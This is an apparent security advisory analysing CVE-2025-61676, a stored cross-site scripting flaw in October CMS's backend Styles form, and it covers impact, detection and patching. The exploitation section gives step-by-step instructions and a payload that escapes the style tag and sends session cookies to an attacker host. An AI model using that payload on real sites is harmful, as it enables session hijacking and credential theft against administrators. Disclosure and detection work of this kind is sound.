CVE-2025-61676: 
PHP vulnerability analysis and mitigation

CVE-2025-61676 is a stored cross-site scripting (XSS) vulnerability in October CMS affecting the backend Branding & Appearance Styles configuration form. An authenticated user with the "Customize Backend Styles" permission can inject malicious HTML/JavaScript into the stylesheet input field at Settings → Branding & Appearance → Styles, causing arbitrary script execution across all backend pages for every user. The vulnerability affects october/system versions ≤3.7.12 and ≥4.0.0, ≤4.0.11, and was disclosed on January 9, 2026 by researcher Nakkouch Tarek. It carries a CVSS v3.1 base score of 6.1 (Moderate) per the GitHub Advisory Database (Github Advisory, OctoberCMS Advisory).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation), where the stylesheet input field in the backend Branding & Appearance Styles form fails to sanitize user-supplied content before rendering it within a <style> HTML context. An attacker can craft input that breaks out of the <style> tag boundary, injecting arbitrary HTML or JavaScript that is then persistently stored and executed in the browsers of all backend users who load any affected page. Exploitation requires network access to the backend, a valid account with the "Customize Backend Styles" permission, and interaction from victim users (i.e., they must load a backend page where the malicious stylesheet is rendered) (Github Advisory, OctoberCMS Advisory).

Successful exploitation results in persistent (stored) XSS that executes in the context of all backend users' sessions, affecting confidentiality and integrity. Potential consequences include session hijacking, privilege escalation (e.g., a lower-privileged attacker gaining administrative access), credential theft, and execution of unauthorized actions within victim sessions. Availability is not directly impacted, but the persistent nature of the payload means all backend users are affected until the malicious content is removed (Github Advisory).

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported as of the time of disclosure. The EPSS score is approximately 0.026% (8th percentile), indicating a low near-term exploitation probability (Github Advisory). The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation is constrained by the requirement for a privileged backend account with the specific "Customize Backend Styles" permission, limiting the attacker pool.

1. Gain Access: Obtain or compromise a backend account with the "Customize Backend Styles" permission on a vulnerable October CMS instance (version ≤3.7.12 or 4.0.0–4.0.11).
2. Navigate to the Vulnerable Form: Log in to the October CMS backend and navigate to Settings → Branding & Appearance → Styles.
3. Craft Malicious Payload: In the stylesheet input field, enter a payload that breaks out of the <style> HTML context, for example: </style><script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Save the Configuration: Submit the form to persist the malicious script in the CMS backend configuration.
5. Trigger Execution: Any backend user (including administrators) who loads a backend page will have the injected script execute in their browser, enabling session token theft, credential harvesting, or further unauthorized actions (Github Advisory, OctoberCMS Advisory).

• Logs: Backend audit logs showing changes to Branding & Appearance Styles settings by non-administrator accounts or unexpected accounts; HTTP POST requests to the backend settings endpoint containing </style> or <script> sequences in stylesheet parameters.
• File System / Database: Stored stylesheet configuration values in the CMS database containing HTML tags (e.g., </style>, <script>, <img onerror=) outside of valid CSS syntax.
• Network: Outbound requests from backend users' browsers to unknown external domains shortly after loading backend pages, potentially carrying session cookie data as query parameters.
• Browser/Application: Unexpected JavaScript execution or redirects occurring for backend users when navigating standard CMS admin pages.

October CMS has released patched versions 3.7.13 and 4.0.12, which sanitize stylesheet inputs to prevent injection of arbitrary HTML/JS. All users are strongly encouraged to upgrade immediately via Composer (composer update october/system) (Github Advisory, OctoberCMS Advisory). As a temporary workaround if immediate upgrade is not possible, restrict the "Customize Backend Styles" permission to fully trusted administrators only — note this reduces but does not eliminate risk.

The vulnerability was reported by security researcher Nakkouch Tarek and remediated by the October CMS core team (daftspunk). The advisory was published on January 9, 2026, and the fix was released promptly in the same announcement. No significant broader media coverage or notable community debate has been identified beyond standard vulnerability database aggregation (OctoberCMS Advisory).